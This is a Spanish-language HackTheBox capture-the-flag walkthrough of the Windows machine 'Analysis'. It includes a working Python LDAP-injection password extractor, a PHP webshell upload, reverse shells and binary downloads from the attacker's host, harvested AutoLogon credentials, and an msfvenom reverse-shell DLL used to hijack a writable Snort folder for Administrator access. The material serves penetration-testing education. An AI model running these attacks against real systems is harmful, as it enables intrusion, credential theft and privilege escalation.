Analysis – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard /Difícil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Analysis” es una máquina de dificultad “Difícil” de la plataforma HackTheBox
. En ella, somos capaces de encontrar subdominios para el dominio principal analysis.htb
y múltiples directorios y archivos dentro de éstos con herramientas como Gobuster
y ffuf
. Mediante ataques de fuerza bruta para encontrar parámetros en estos sitios hallados, encontramos que uno es vulnerable a LDAP Injections
(Inyecciones LDAP). A través de esta vulnerabilidad somos capaces de encontrar un usuario y contraseña el cual funciona para loguear en un panel de análisis. Una vez dentro de este panel, podemos subir una webshell PHP
y ganar acceso a la máquina. Usando WinPEAS
somos capaces de encontrar credenciales para otro usuario existente dentro de la máquina y pivotear a éste. Una vez logueados como este nuevo usuario, encontramos que podemos modificar archivos .dll
para el servicio del software SNORT
el cual se encuentra corriendo en la máquina; permitiéndonos ejecutar un DLL Hijacking
(secuestro de archivos DLL
) y elevar nuestros privilegios.
User / Usuario Link to heading
Empezando con un scan con Nmap
muestra múltiples puertos abiertos: 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 445
Server Message Block
(SMB
), 135
Microsoft RPC
, 3268
Lightweight Directory Access Protocol
(LDAP
), 3306
MySQL
, y 5985
Windows Remote Management
(WinRM
); entre otros.
❯ sudo nmap -sVC -p53,80,88,135,139,445,464,593,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49676,49677,49682,49794 10.10.11.250 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:39 -04
Nmap scan report for 10.10.11.250
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-18 21:39:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, NotesRPC, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49794/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-18T21:40:34
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.08 seconds
Intentando un Domain Zone Transfer Attack
(ataque de Transferencia de Zona) para hallar dominios (dado que el puerto 53
está disponible) no funciona:
❯ dig axfr analysis.htb @10.10.11.250
; <<>> DiG 9.19.21-1-Debian <<>> axfr analysis.htb @10.10.11.250
;; global options: +cmd
; Transfer failed.
y el sitio http://10.10.11.250
no muestra nada con cURL
:
❯ curl -s http://10.10.11.250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>
Ahora, escaneando el puerto 445
SMB
con NetExec
(el sucesor de CrackMapExec
) muestra el dominio analysis.htb
:
❯ netexec smb 10.10.11.250
SMB 10.10.11.250 445 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
De manera que agrego este dominio a mi archivo /etc/hosts
:
❯ echo '10.10.11.250 analysis.htb' | sudo tee -a /etc/hosts
10.10.11.250 analysis.htb
Luego empezaré a buscar subdominios con ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://analysis.htb/ -H 'Host: FUZZ.analysis.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://analysis.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.analysis.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 155ms]
:: Progress: [19966/19966] :: Job [1/1] :: 124 req/sec :: Duration: [0:02:38] :: Errors: 0 ::
y encuentro un subdominio: internal.analysis.htb
De manera que agrego internal.analysis.htb
a mi archivo /etc/hosts
, así que éste se ve ahora como:
❯ cat /etc/hosts | tail -n 1
10.10.11.250 analysis.htb internal.analysis.htb
Intentando visitar el dominio, http://internal.analysis.htb
, retorna código 403 Fordidden
:
De manera que intento un Brute Force Directory Listing
(listar directorios por fuerza bruta) con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb -t 55
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/users/]
/dashboard (Status: 301) [Size: 174] [--> http://internal.analysis.htb/dashboard/]
/Users (Status: 301) [Size: 170] [--> http://internal.analysis.htb/Users/]
/employees (Status: 301) [Size: 174] [--> http://internal.analysis.htb/employees/]
/Dashboard (Status: 301) [Size: 174] [--> http://internal.analysis.htb/Dashboard/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
donde encontramos 3 directorios: /users
, /dashboard
y /employees
.
Decido ponerme en busca de archivos en estos directorios. Eventualmente, encuentro algunos archivos PHP
en el directorio /users
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/users/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/users/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/list.php (Status: 200) [Size: 17]
/List.php (Status: 200) [Size: 17]
donde encontramos el archivo /users/list.php
.
Para el directorio /dashboard
tenemos:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/dashboard/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/dashboard/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/img/]
/index.php (Status: 200) [Size: 38]
/uploads (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/uploads/]
/upload.php (Status: 200) [Size: 0]
/details.php (Status: 200) [Size: 35]
/css (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/css/]
/Index.php (Status: 200) [Size: 38]
/lib (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/lib/]
/form.php (Status: 200) [Size: 35]
/js (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/js/]
/logout.php (Status: 302) [Size: 3] [--> ../employees/login.php]
/tickets.php (Status: 200) [Size: 35]
/emergency.php (Status: 200) [Size: 35]
/IMG (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/IMG/]
/INDEX.php (Status: 200) [Size: 38]
/Details.php (Status: 200) [Size: 35]
/Form.php (Status: 200) [Size: 35]
/CSS (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/CSS/]
/Img (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Img/]
/JS (Status: 301) [Size: 177] [--> http://internal.analysis.htb/dashboard/JS/]
/Upload.php (Status: 200) [Size: 0]
/Uploads (Status: 301) [Size: 182] [--> http://internal.analysis.htb/dashboard/Uploads/]
/Logout.php (Status: 302) [Size: 3] [--> ../employees/login.php]
/Lib (Status: 301) [Size: 178] [--> http://internal.analysis.htb/dashboard/Lib/]
/Tickets.php (Status: 200) [Size: 35]
/Emergency.php (Status: 200) [Size: 35]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================
Y también encontramos el archivologin.php
en el directorio /employees
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://internal.analysis.htb/employees/ -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://internal.analysis.htb/employees/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 1085]
/Login.php (Status: 200) [Size: 1085]
El sitio http://internal.analysis.htb/employees/login.php
muestra un panel de login:
pero dado que no tenemos usuarios (al menos de momento), guardaré este panel para más tarde.
Chequeando el sitio/archivo /users/list.php
con cURL
muestra que éste acepta parámetros:
❯ curl -s http://internal.analysis.htb/users/list.php
missing parameter
Como sea, no hay pista alguna de cuál puede ser el parámetro que falta. De manera que podemos tratar de obtenerlo por fuerza bruta.
Usaré ffuf
para buscar por diferentes/potenciales parámetros:
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://internal.analysis.htb/users/list.php?FUZZ' -fs 17
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal.analysis.htb/users/list.php?FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 17
________________________________________________
name [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 9807ms]
:: Progress: [6453/6453] :: Job [1/1] :: 250 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
donde encontramos el parámetro llamado name
. De manera que tenemos el archivo con el parámtro http://internal.analysis.htb/users/list.php?name
. Visitando este sitio en Firefox
muestra:
Recordemos que el servicio LDAP
estaba corriendo en esta máquina. Buscando por LDAP Injections en HackTricks podríamos intentar con algo como name=*
para ver si esto retorna algo. Si visito http://internal.analysis.htb/users/list.php?name=*
para intentar una inyección puedo ver algo:
donde puedo ver un potencial usuario: technician
Recolectando lo que hemos hallado tenemos lo siguiente:
- Un usuario
- Un punto
LDAP
inyectable
Siguiendo los pasos de HackTricks podemos intentar de inyectar parámetros a través de un script en Python
. En corto, este script chequea, luego de inyectar caracteres para el parámetro name
, que la palabra technician
esté presente en la petición a la página web; si lo está vamos por buen camino, si no es descartado. En este script también he agregado una función para chequear que la contraseña sea correcta, dado que algunos símbolos tales como &
, *
, )
o /
pueden causar falsos negativos/positivos incluso si los url encodeamos. Para este script necesitamos la librería PwnTools. Podemos instalarla corriendo en nuestro sistema:
$ sudo apt-get update
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Una vez instalada, podemos correr el script para tratar de extraer la contraseña:
#!/usr/bin/python3
import argparse
import requests
import signal
import sys
import string
from pwn import log
# Ctrl+C
def ctrl_c(sig, frame)->None:
print(f"[!] Ctrl+C. Exiting...")
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
def parse_arguments()->argparse.Namespace:
# Create the parser
parser = argparse.ArgumentParser(description="A simple script for LDAP injection.")
# Add arguments
parser.add_argument('-u', '--url', type=str, help='URL to attempt LDAP injection (incluiding the injectable parameter). Example: http://internal.analysis.htb/users/list.php?name', required=True)
return parser.parse_args()
def request_to_site(url: str, current_password: str, all_characters: list[str], p)->str:
# Start a loop through different characters to bruteforce the password
index = 0
while index < len(all_characters):
char = all_characters[index]
p.status(f"Attempting with char {char!r} (password found, at the moment, {current_password!r})")
req_url = url + f'=*)(%26(objectClass=user)(description={current_password}{char}*)'
r = requests.get(req_url)
# Check the condition that satisfies the injection
if r.status_code == 200 and 'technician' in r.text:
current_password += char
# Restart the list
index = 0
else:
index += 1
return current_password
def check_password_found(url: str, current_password: str, symbols_list: list[str], all_chars: list[str])->(str, bool):
# Check that the password is not a false positive
p2 = log.progress(f"Checking if password ({current_password!r}) has symbols")
for symbol in symbols_list:
temp_password: str = current_password + symbol
for char in all_chars:
p2.status(f"Checking with symbol {symbol!r} and character {char!r}")
req_url = url + f'=*)(%26(objectClass=user)(description={temp_password}{char}*)'
r = requests.get(req_url)
if r.status_code == 200 and 'technician' in r.text:
p2.failure(f"Password had more symbols ({symbol!r}, so current password is {current_password+symbol!r})")
return current_password+symbol, False
p2.success("Password checked. All correct.")
return current_password, True
def ldap_injection(url: str)->None:
# LDAP injection
print(f"[+] Attempting LDAP Injection to url {url!r}...")
p = log.progress('LDAP Injection')
password: str = ''
all_characters: list[str] = list(string.digits) + list(string.ascii_letters) + [c for c in list(string.punctuation) if c != ')'] # char ')' bugs the data
symbols_characters: list[str] = list(string.punctuation)
foundPassword: bool = False
# Exit the loop until we have checked that the extracted password is not a false positive
while not foundPassword:
# Get the password through injection
password = request_to_site(url, password, all_characters, p)
# Check if the password found is not a false positive
password, foundPassword = check_password_found(url, password, symbols_characters, all_characters)
p.status(f"Password found: {password}")
def main()->None:
# Get argument from users
args = parse_arguments()
# LDAP injection
ldap_injection(args.url)
if __name__ == "__main__":
main()
Corriendo este script encontramos una contraseña:
❯ python3 exploit_ldap.py --url 'http://internal.analysis.htb/users/list.php?name'
[+] Attempting LDAP Injection to url 'http://internal.analysis.htb/users/list.php?name'...
[....../.] LDAP Injection: Temporal password is: 97NTtl*4QP96Bv
[-] Checking if password has symbols: Password had more symbols ('*', so current password is '97NTtl*')
[+] Checking if password has symbols: Password checked. All correct.
de manera que tenemos un usuario y contraseña: technician:97NTtl*4QP96Bv
Podemos chequear si estas credenciales funcionan via SMB
con NetExec
:
❯ netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares
SMB 10.10.11.250 445 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.250 445 DC-ANALYSIS [+] analysis.htb\technician:97NTtl*4QP96Bv
SMB 10.10.11.250 445 DC-ANALYSIS [*] Enumerated shares
SMB 10.10.11.250 445 DC-ANALYSIS Share Permissions Remark
SMB 10.10.11.250 445 DC-ANALYSIS ----- ----------- ------
SMB 10.10.11.250 445 DC-ANALYSIS ADMIN$ Administration à distance
SMB 10.10.11.250 445 DC-ANALYSIS C$ Partage par défaut
SMB 10.10.11.250 445 DC-ANALYSIS IPC$ READ IPC distant
SMB 10.10.11.250 445 DC-ANALYSIS NETLOGON READ Partage de serveur d'accès
SMB 10.10.11.250 445 DC-ANALYSIS SYSVOL READ Partage de serveur d'accès
y funcionan, pero no veo ningún directorio compartido interesante.
Luego de intentar algunas cosas, recuerdo el panel de login en http://internal.analysis.htb/employees/login.php
. Podemos tratar de poner estas credenciales allí. Funcionan si como en el campo de usuario proveemos technician@analysis.htb
y la contraseña hallada:
y estamos dentro de un panel de análisis:
Visitando/clickeando SOC Report
al lado izquierdo puedo ver que puedo subir archivos. De manera que subo una simple webshell PHP
(dado que, como pudimos ver, el sitio usa archivos .php
). Subo una webshell de WWWolf PHP Shell dado que estamos contra un sistema Windows
.
Recordando, el directorio /dashboard
tenía un directorio /uploads
. Mi archivo se llama shell.php
. Entonces decido visitar http://internal.analysis.htb/dashboard/uploads/shell.php
y mi webshell está ahí:
pero prefiero una shell interactiva. Empiezo un server temporal HTTP
en Python
en el puerto 8080
en mi máquina:
❯ ls && python3 -m http.server 8080
exploit_ldap.py nc64.exe shell.php
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
y descargo un binario de netcat
para Windows
, corriendo en la máquina víctima la herramienta, que viene por defecto con Windows
, certutil
:
Una vez descargado, empiezo un listener con netcat
en el puerto 443
y me envío una reverse shell corriendo:
y obtengo una shell como el usuario svc_web
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51300
Microsoft Windows [version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. Tous droits rservs.
C:\inetpub\internal\dashboard\uploads> whoami
whoami
analysis\svc_web
Subo WinPEAS
a la máquina víctima, de manera similar a como subí el binario de netcat
, y obtengo algo interesante:
C:\Users\Public\Downloads>.\winpeas.exe
.\winpeas.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
<SNIP>
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : analysis.htb.
DefaultUserName : jdoe
DefaultPassword : 7y4Z4^*y9Zzj
<SNIP>
Encontramos credenciales: jdoe:7y4Z4^*y9Zzj
Viendo qué es lo que puede hacer este usuario tenemos:
C:\Users\Public\Downloads>net user jdoe
net user jdoe
Nom d'utilisateur jdoe
Nom complet john doe
Commentaire
Commentaires utilisateur
Code du pays ou de la rgion 000 (Valeur par dfaut du systme)
Compte: actif Oui
Le compte expire Jamais
Mot de passe: dernier changmt. 04/01/2024 11:37:29
Le mot de passe expire Jamais
Le mot de passe modifiable 05/01/2024 11:37:29
Mot de passe exig Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorises Tout
Script d'ouverture de session
Profil d'utilisateur
Rpertoire de base
Dernier accs 19/05/2024 01:43:25
Heures d'accs autoris Tout
Appartient aux groupes locaux *Utilisateurs de gesti
Appartient aux groupes globaux *Utilisateurs du domai
La commande s'est termine correctement.
pero como no sé francés realmente no me entero de mucho.
Reviso con NetExec
si tenemos acceso via WinRM
:
❯ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM 10.10.11.250 5985 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM 10.10.11.250 5985 DC-ANALYSIS [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)
y lo tenemos, de manera que me conecto usando evil-winrm
:
❯ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>
donde finalmente podemos obtener la flag en el directorio C:\Users\jdoe\Desktop
.
NT Authority/System - Administrator Link to heading
Del output de WinPEAS
, pero ahora re-subiéndolo y corriéndolo como el usuario jdoe
puedo ver algo de éste:
*Evil-WinRM* PS C:\Users\jdoe\Documents> wget http://10.10.16.15:8080/winpeas.exe -Outfile C:\Users\jdoe\Documents\winpeas.exe
*Evil-WinRM* PS C:\Users\jdoe\Documents> C:\Users\jdoe\Documents\winpeas.exe
<SNIP>
Snort(Snort)[C:\Snort\bin\snort.exe /SERVICE] - Autoload - No quotes and Space detected
Possible DLL Hijacking in binary folder: C:\Snort\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
<SNIP>
Buscando What is Snort
en Google tengo que:
De manera que SNORT
es una herramienta para prevenir intrusiones y, asumo, debe correr con algún tipo de privilegios para ello.
Tal parece que atacar el servicio de SNORT
puede llegar a ser un potencial camino para elevar privilegios.
Revisando permisos con icacls
muestra que somos capaces de escribir en estos archivos:
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicengine
C:\Snort\lib\snort_dynamicengine AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\jdoe\Documents> icacls C:\Snort\lib\snort_dynamicpreprocessor
C:\Snort\lib\snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
Noto que en este directorio tenemos archivos .dll
, de manera que podemos intentar un DLL hijacking
:
*Evil-WinRM* PS C:\Users\jdoe\Documents> cmd.exe /c dir C:\Snort\lib\snort_dynamicengine
Volume in drive C has no label.
Volume Serial Number is 0071-E237
Directory of C:\Snort\lib\snort_dynamicengine
07/08/2023 03:31 PM <DIR> .
07/08/2023 03:31 PM <DIR> ..
05/24/2022 06:48 AM 78,336 sf_engine.dll
1 File(s) 78,336 bytes
2 Dir(s) 4,018,229,248 bytes free
Para ello creamos un archivo .dll
malicioso con msfvenom
:
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.15 LPORT=443 -a x64 -f dll -o snort_dynamicpreprocessor.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: snort_dynamicpreprocessor.dll
Subimos el archivo .dll
malicioso de nuestra máquina a la máquina víctima con ayuda de evil-winrm
:
*Evil-WinRM* PS C:\Users\jdoe\Documents> upload snort_dynamicpreprocessor.dll
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Analysis/exploits/snort_dynamicpreprocessor.dll to C:\Users\jdoe\Documents\snort_dynamicpreprocessor.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
Crearé una copia del archivo original (lo cual siempre recomiendo por si algo falla y “rompemos” algo sensible), y luego, los reemplazamos con el archivo .dll
malicioso:
*Evil-WinRM* PS C:\Users\jdoe\Documents> dir C:\Snort\lib
Directory: C:\Snort\lib
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/8/2023 3:31 PM snort_dynamicengine
d----- 7/8/2023 3:31 PM snort_dynamicpreprocessor
*Evil-WinRM* PS C:\Users\jdoe\Documents> copy C:\Snort\lib\snort_dynamicpreprocessor .\snort_dynamic_backup
*Evil-WinRM* PS C:\Users\jdoe\Documents> dir
Directory: C:\Users\jdoe\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/23/2023 9:15 AM BCDB
d----- 5/19/2024 5:29 AM snort_dynamic_backup
-a---- 5/19/2024 5:28 AM 9216 snort_dynamicpreprocessor.dll
-a---- 5/19/2024 5:09 AM 2387456 winpeas.exe
*Evil-WinRM* PS C:\Users\jdoe\Documents> copy snort_dynamicpreprocessor.dll C:\Snort\lib\snort_dynamicpreprocessor
Finalmente, debemos arrancar el servicio. Noto que hay un archivo snort.exe
en C:\Snort\bin
directory. Antes de correrlo empiezo un listener con netcat
en el puerto 443
y, en la máquina víctima, ejecutamos:
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd C:\Snort\bin
*Evil-WinRM* PS C:\Snort\bin> dir
Directory: C:\Snort\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/20/2022 4:15 PM 54784 npptools.dll
-a---- 4/20/2022 4:15 PM 274489 ntwdblib.dll
-a---- 4/20/2022 4:15 PM 36948 Packet.dll
-a---- 4/20/2022 4:15 PM 94208 pcre.dll
-a---- 5/24/2022 6:51 AM 1559552 snort.exe
-a---- 4/20/2022 4:15 PM 53326 WanPacket.dll
-a---- 4/20/2022 4:15 PM 208974 wpcap.dll
-a---- 4/20/2022 4:15 PM 73728 zlib1.dll
*Evil-WinRM* PS C:\Snort\bin> .\snort.exe -V
snort.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
,,_ -*> Snort! <*- o" )~ Version 2.9.20-WIN64 GRE (Build 82) '''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using PCRE version: 8.10 2010-06-25 Using ZLIB version: 1.2.11
Y luego de unos segundos obtengo una shell como el usuario Administrator
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.250] 51511
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
analysis\administrateur
donde podemos obtener la flag en C:\Users\Administrateur\Desktop\
.
~ Happy Hacking